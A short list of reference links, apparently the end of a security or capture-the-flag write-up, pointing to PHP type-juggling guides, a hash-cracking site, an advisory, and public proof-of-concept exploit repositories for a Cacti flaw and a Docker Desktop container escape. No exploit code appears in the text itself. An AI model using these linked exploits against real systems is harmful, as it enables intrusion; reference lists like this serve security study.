  • https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Type%20Juggling/README.md
  • https://medium.com/@Q2hpY2tlblB3bnk/php-type-juggling-c34a10630b10
  • https://www.hackplayers.com/2018/03/hashes-magicos-en-php-type-jugling.html
  • https://crackstation.net/
  • https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC
  • https://github.com/Cacti/cacti/security/advisories/GHSA-c7rr-2h93-7gjf
  • https://github.com/PtechAmanja/CVE-2025-9074-Docker-Desktop-Container-Escape
  • https://github.com/j3r1ch0123/CVE-2025-9074?tab=readme-ov-file
  • https://blog.qwertysecurity.com/Articles/blog3.html


FIN